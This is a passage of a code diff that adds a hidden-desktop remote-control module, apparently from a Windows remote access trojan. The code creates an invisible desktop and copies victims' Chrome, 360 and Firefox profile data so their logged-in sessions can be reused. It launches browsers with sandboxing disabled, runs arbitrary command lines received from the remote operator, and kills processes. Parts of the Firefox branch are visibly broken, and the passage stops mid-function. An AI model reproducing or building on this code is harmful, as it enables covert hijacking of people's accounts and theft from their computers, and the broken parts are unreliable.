||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
+7
-2
@@ -9,14 +9,19 @@
|
|||||||
#define IDI_ICON2 105
|
#define IDI_ICON2 105
|
||||||
#define IDI_ICON_MSG 105
|
#define IDI_ICON_MSG 105
|
||||||
#define IDC_EDIT_MESSAGE 1000
|
#define IDC_EDIT_MESSAGE 1000
|
||||||
|
#define IDD_CHAT 106
|
||||||
|
#define IDC_EDIT_CHATLOG 1001
|
||||||
|
#define IDC_EDIT_NEWMSG 1002
|
||||||
|
#define IDC_BUTTON_SEND 1003
|
||||||
|
#define IDC_BUTTON_END 1004
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 106
|
#define _APS_NEXT_RESOURCE_VALUE 107
|
||||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
#define _APS_NEXT_CONTROL_VALUE 1005
|
||||||
#define _APS_NEXT_SYMED_VALUE 101
|
#define _APS_NEXT_SYMED_VALUE 101
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
@@ -0,0 +1,615 @@
|
|||||||
|
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include <Windowsx.h>
|
||||||
|
#include "ScreenHideManager.h"
|
||||||
|
#include <WinUser.h>
|
||||||
|
#include <string>
|
||||||
|
#include <Shlwapi.h>
|
||||||
|
#include <ShlObj.h>
|
||||||
|
#include <Tlhelp32.h>
|
||||||
|
#include <shellapi.h>
|
||||||
|
#include <winioctl.h>
|
||||||
|
#include <Wtsapi32.h>
|
||||||
|
#include <set>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
|
||||||
|
#pragma comment (lib, "Shlwapi.lib")
|
||||||
|
|
||||||
|
namespace SimplePluginsScreenHide {
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||||
|
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||||||
|
// 切换到目标桌面
|
||||||
|
if (!SetThreadDesktop(hDesk)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 枚举目标桌面的所有窗口
|
||||||
|
BOOL bFound = FALSE;
|
||||||
|
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||||
|
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||||
|
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||||
|
|
||||||
|
DWORD dwProcessId;
|
||||||
|
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||||
|
|
||||||
|
// 获取进程名
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||||
|
if (hProcess) {
|
||||||
|
char exePath[MAX_PATH];
|
||||||
|
DWORD size = MAX_PATH;
|
||||||
|
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||||
|
if (_stricmp(exePath, pData->first) == 0) {
|
||||||
|
*(pData->second) = TRUE;
|
||||||
|
return FALSE; // 终止枚举
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
}
|
||||||
|
return TRUE; // 继续枚举
|
||||||
|
}, reinterpret_cast<LPARAM>(&data));
|
||||||
|
|
||||||
|
return bFound;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取指定桌面下的所有进程ID
|
||||||
|
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
|
||||||
|
std::set<DWORD> pidSet;
|
||||||
|
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||||
|
|
||||||
|
if (SetThreadDesktop(hDesk)) {
|
||||||
|
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
|
||||||
|
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
|
||||||
|
|
||||||
|
// 跳过不可见窗口和子窗口
|
||||||
|
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||||
|
DWORD pid = 0;
|
||||||
|
GetWindowThreadProcessId(hWnd, &pid);
|
||||||
|
if (pid != 0) pids.insert(pid);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}, reinterpret_cast<LPARAM>(&pidSet));
|
||||||
|
SetThreadDesktop(hOriginalDesk);
|
||||||
|
}
|
||||||
|
|
||||||
|
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsSystemProcess(DWORD pid) {
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
if (!hProcess) return true;
|
||||||
|
|
||||||
|
char exeName[MAX_PATH];
|
||||||
|
DWORD size = MAX_PATH;
|
||||||
|
bool isSystem = false;
|
||||||
|
|
||||||
|
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
|
||||||
|
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||||
|
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||||
|
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||||
|
isSystem = (_stricmp(exeName, szExplorerFile)==0);
|
||||||
|
}
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return isSystem;
|
||||||
|
}
|
||||||
|
|
||||||
|
void SafeTerminateDesktopProcesses(HDESK hDesk) {
|
||||||
|
// 检查桌面句柄有效性
|
||||||
|
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
|
||||||
|
|
||||||
|
// 获取当前桌面(用于恢复)
|
||||||
|
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||||
|
if (!hOriginalDesk) {
|
||||||
|
Mprintf("Failed to get original desktop\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 切换桌面
|
||||||
|
if (!SetThreadDesktop(hDesk)) {
|
||||||
|
Mprintf("SetThreadDesktop failed\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 枚举进程
|
||||||
|
auto pids = GetProcessIdsInDesktop(hDesk);
|
||||||
|
SetThreadDesktop(hOriginalDesk); // 立即恢复
|
||||||
|
|
||||||
|
// 终止进程
|
||||||
|
for (DWORD pid : pids) {
|
||||||
|
if (pid == GetCurrentProcessId()) continue; // 跳过自己
|
||||||
|
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
if (!hProcess) {
|
||||||
|
Mprintf("OpenProcess failed for PID: %d\n", pid);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否为系统进程
|
||||||
|
if (IsSystemProcess(pid)) {
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 终止进程
|
||||||
|
if (!TerminateProcess(hProcess, 0)) {
|
||||||
|
Mprintf("TerminateProcess failed for PID: %d\n", pid);
|
||||||
|
}
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CopyDir(TCHAR* from, TCHAR* to)
|
||||||
|
{
|
||||||
|
TCHAR fromWildCard[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(fromWildCard, from);
|
||||||
|
lstrcat(fromWildCard, _T("\\*"));
|
||||||
|
|
||||||
|
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||||
|
return;
|
||||||
|
WIN32_FIND_DATA findData;
|
||||||
|
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
|
||||||
|
if (hFindFile == INVALID_HANDLE_VALUE)
|
||||||
|
return;
|
||||||
|
|
||||||
|
do {
|
||||||
|
TCHAR currFileFrom[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(currFileFrom, from);
|
||||||
|
lstrcat(currFileFrom, _T("\\"));
|
||||||
|
lstrcat(currFileFrom, findData.cFileName);
|
||||||
|
|
||||||
|
TCHAR currFileTo[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(currFileTo, to);
|
||||||
|
lstrcat(currFileTo, _T("\\"));
|
||||||
|
lstrcat(currFileTo, findData.cFileName);
|
||||||
|
|
||||||
|
if
|
||||||
|
(
|
||||||
|
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
|
||||||
|
strcmp(findData.cFileName, _T(".")) &&
|
||||||
|
strcmp(findData.cFileName, _T(".."))
|
||||||
|
) {
|
||||||
|
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
|
||||||
|
CopyDir(currFileFrom, currFileTo);
|
||||||
|
} else
|
||||||
|
CopyFile(currFileFrom, currFileTo, FALSE);
|
||||||
|
} while (FindNextFile(hFindFile, &findData));
|
||||||
|
}
|
||||||
|
|
||||||
|
void killproc(const TCHAR* name)
|
||||||
|
{
|
||||||
|
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||||||
|
PROCESSENTRY32 pEntry;
|
||||||
|
pEntry.dwSize = sizeof(pEntry);
|
||||||
|
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||||||
|
while (hRes) {
|
||||||
|
if (strcmp(pEntry.szExeFile, name) == 0) {
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||||||
|
(DWORD)pEntry.th32ProcessID);
|
||||||
|
if (hProcess != NULL) {
|
||||||
|
TerminateProcess(hProcess, 9);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hRes = Process32Next(hSnapShot, &pEntry);
|
||||||
|
}
|
||||||
|
CloseHandle(hSnapShot);
|
||||||
|
}
|
||||||
|
|
||||||
|
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
|
||||||
|
CScreenManagerBase(pClient, nBitDepth, user)
|
||||||
|
{
|
||||||
|
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CScreenHideManager::~CScreenHideManager()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||||
|
{
|
||||||
|
if (lpBuffer[0] == TOKEN_HEARTBEAT)
|
||||||
|
return;
|
||||||
|
|
||||||
|
switch (lpBuffer[0]) {
|
||||||
|
case COMMAND_FLUSH_HIDE:
|
||||||
|
ResetScreen(32);
|
||||||
|
break;
|
||||||
|
case COMMAND_SCREEN_CONTROL:
|
||||||
|
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||||
|
break;
|
||||||
|
case COMMAND_NEXT:
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
break;
|
||||||
|
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||||
|
SendClientClipboard();
|
||||||
|
break;
|
||||||
|
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||||
|
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
|
||||||
|
break;
|
||||||
|
case COMMAND_SCREEN_SETSCREEN_HIDE:
|
||||||
|
Loop_Screen();
|
||||||
|
break;
|
||||||
|
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
|
||||||
|
m_ScreenSpyObject->SendQuality(60);
|
||||||
|
break;
|
||||||
|
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
|
||||||
|
m_ScreenSpyObject->SendQuality(85);
|
||||||
|
break;
|
||||||
|
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
|
||||||
|
m_ScreenSpyObject->SendQuality(100);
|
||||||
|
break;
|
||||||
|
case COMMAND_HIDE_USER: {
|
||||||
|
return OnUserCommand(lpBuffer, nSize);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case COMMAND_HIDE_CLEAR:
|
||||||
|
SafeTerminateDesktopProcesses(g_hDesk);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
|
||||||
|
char* deskName = (char*)m_DesktopID.c_str();
|
||||||
|
switch (lpBuffer[1]) {
|
||||||
|
case IDM_OPEN_Explorer: {
|
||||||
|
const DWORD neverCombine = 2;
|
||||||
|
const TCHAR* valueName = _T("TaskbarGlomLevel");
|
||||||
|
|
||||||
|
HKEY hKey;
|
||||||
|
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
|
||||||
|
DWORD value;
|
||||||
|
DWORD size = sizeof(DWORD);
|
||||||
|
DWORD type = REG_DWORD;
|
||||||
|
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
|
||||||
|
|
||||||
|
if (value != neverCombine)
|
||||||
|
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
|
||||||
|
|
||||||
|
TCHAR explorerPath[MAX_PATH] = { 0 };
|
||||||
|
GetWindowsDirectory(explorerPath, MAX_PATH);
|
||||||
|
lstrcat(explorerPath, _T("\\"));
|
||||||
|
lstrcat(explorerPath, _T("explorer.exe"));
|
||||||
|
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
|
||||||
|
APPBARDATA appbarData;
|
||||||
|
appbarData.cbSize = sizeof(appbarData);
|
||||||
|
for (int i = 0; i < 5; ++i) {
|
||||||
|
Sleep(1000);
|
||||||
|
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
|
||||||
|
if (appbarData.hWnd)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
appbarData.lParam = ABS_ALWAYSONTOP;
|
||||||
|
SHAppBarMessage(ABM_SETSTATE, &appbarData);
|
||||||
|
|
||||||
|
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_run: {
|
||||||
|
TCHAR rundllPath[MAX_PATH] = { 0 };
|
||||||
|
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
|
||||||
|
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_Powershell: {
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_Chrome: {
|
||||||
|
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||||
|
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||||
|
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
|
||||||
|
|
||||||
|
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcat(dataPath, chromePath);
|
||||||
|
lstrcat(dataPath, _T("User Data\\"));
|
||||||
|
|
||||||
|
TCHAR botId[35] = { 0 };
|
||||||
|
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcat(newDataPath, chromePath);
|
||||||
|
lstrcat(newDataPath, deskName);
|
||||||
|
|
||||||
|
CopyDir(dataPath, newDataPath);
|
||||||
|
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcat(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, _T("chrome.exe"));
|
||||||
|
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
|
||||||
|
lstrcat(path, _T("\""));
|
||||||
|
lstrcat(path, newDataPath);
|
||||||
|
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_Edge: {
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcat(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, _T("msedge.exe"));
|
||||||
|
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_Brave: {
|
||||||
|
killproc(_T("brave.exe"));
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcat(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, _T("brave.exe"));
|
||||||
|
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_Firefox: {
|
||||||
|
TCHAR firefoxPath[MAX_PATH] = { 0 };
|
||||||
|
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
|
||||||
|
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
|
||||||
|
|
||||||
|
TCHAR profilesIniPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcat(profilesIniPath, firefoxPath);
|
||||||
|
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
|
||||||
|
|
||||||
|
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hProfilesIni == INVALID_HANDLE_VALUE)
|
||||||
|
return;
|
||||||
|
|
||||||
|
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
|
||||||
|
DWORD read;
|
||||||
|
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
|
||||||
|
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
|
||||||
|
profilesIniContent[profilesIniSize] = 0;
|
||||||
|
|
||||||
|
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
|
||||||
|
if (!isRelativeRead) {
|
||||||
|
CloseHandle(hProfilesIni);
|
||||||
|
SAFE_DELETE(profilesIniContent);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
isRelativeRead += 11;
|
||||||
|
BOOL isRelative = (*isRelativeRead == _T('1'));
|
||||||
|
|
||||||
|
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
|
||||||
|
if (!path) {
|
||||||
|
CloseHandle(hProfilesIni);
|
||||||
|
SAFE_DELETE(profilesIniContent);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
TCHAR* pathEnd = StrStr(path, _T("\r"));
|
||||||
|
if (!pathEnd) {
|
||||||
|
CloseHandle(hProfilesIni);
|
||||||
|
SAFE_DELETE(profilesIniContent);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*pathEnd = 0;
|
||||||
|
path += 5;
|
||||||
|
|
||||||
|
TCHAR realPath[MAX_PATH] = { 0 };
|
||||||
|
if (isRelative)
|
||||||
|
lstrcpy(realPath, firefoxPath);
|
||||||
|
lstrcat(realPath, path);
|
||||||
|
|
||||||
|
TCHAR newPath[MAX_PATH];
|
||||||
|
lstrcpy(newPath, firefoxPath);
|
||||||
|
lstrcpy(newPath, deskName);
|
||||||
|
|
||||||
|
CopyDir(realPath, newPath);
|
||||||
|
|
||||||
|
TCHAR browserPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(browserPath, _T("cmd.exe /c start "));
|
||||||
|
lstrcpy(browserPath, _T("firefox.exe"));
|
||||||
|
lstrcpy(browserPath, _T(" -no-remote -profile "));
|
||||||
|
lstrcpy(browserPath, _T("\""));
|
||||||
|
lstrcpy(browserPath, newPath);
|
||||||
|
lstrcpy(browserPath, _T("\""));
|
||||||
|
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_Iexplore: {
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, _T("iexplore.exe"));
|
||||||
|
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_zdy: {
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_zdy2: {
|
||||||
|
ZdyCmd m_ZdyCmd = {};
|
||||||
|
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
|
||||||
|
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
|
||||||
|
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, m_ZdyCmd.cmdline);
|
||||||
|
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||||
|
lstrcat(path, _T("\""));
|
||||||
|
lstrcat(path, m_ZdyCmd.newpath);
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_360JS: {
|
||||||
|
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||||
|
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||||
|
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
|
||||||
|
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(dataPath, chromePath);
|
||||||
|
lstrcat(dataPath, _T("User Data\\"));
|
||||||
|
|
||||||
|
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(newDataPath, chromePath);
|
||||||
|
lstrcat(newDataPath, deskName);
|
||||||
|
|
||||||
|
CopyDir(dataPath, newDataPath);
|
||||||
|
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, _T("360chrome.exe"));
|
||||||
|
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||||
|
lstrcat(path, _T("\""));
|
||||||
|
lstrcat(path, newDataPath);
|
||||||
|
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_360AQ: {
|
||||||
|
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||||
|
|
||||||
|
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||||
|
lstrcat(chromePath, _T("\\"));
|
||||||
|
|
||||||
|
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(dataPath, chromePath);
|
||||||
|
lstrcat(dataPath, _T("secoresdk\\"));
|
||||||
|
|
||||||
|
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(newDataPath, chromePath);
|
||||||
|
lstrcat(newDataPath, deskName);
|
||||||
|
|
||||||
|
CopyDir(dataPath, newDataPath);
|
||||||
|
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
|
||||||
|
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(path, _T("cmd.exe /c start "));
|
||||||
|
lstrcat(path, newDataPath);
|
||||||
|
|
||||||
|
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||||
|
|
||||||
|
STARTUPINFO startupInfo = { 0 };
|
||||||
|
startupInfo.cb = sizeof(startupInfo);
|
||||||
|
startupInfo.lpDesktop = deskName;
|
||||||
|
PROCESS_INFORMATION processInfo = { 0 };
|
||||||
|
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_OPEN_360AQ2: {
|
||||||
|
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||||
|
|
||||||
|
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||||
|
lstrcat(chromePath, _T("\\"));
|
||||||
|
|
||||||
|
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(dataPath, chromePath);
|
||||||
|
lstrcat(dataPath, _T("360se6\\"));
|
||||||
|
|
||||||
|
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||||
|
lstrcpy(newDataPath, chromePath);
|
||||||
|
lstrcat(newDataPath, deskName);
|
||||||
|
|
||||||
|
CopyDir(dataPath, newDataPath);
|
||||||
|
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
|
||||||
|
|
||||||
|
TCHAR path[MAX_PATH] = { 0 };
|
||||||
|
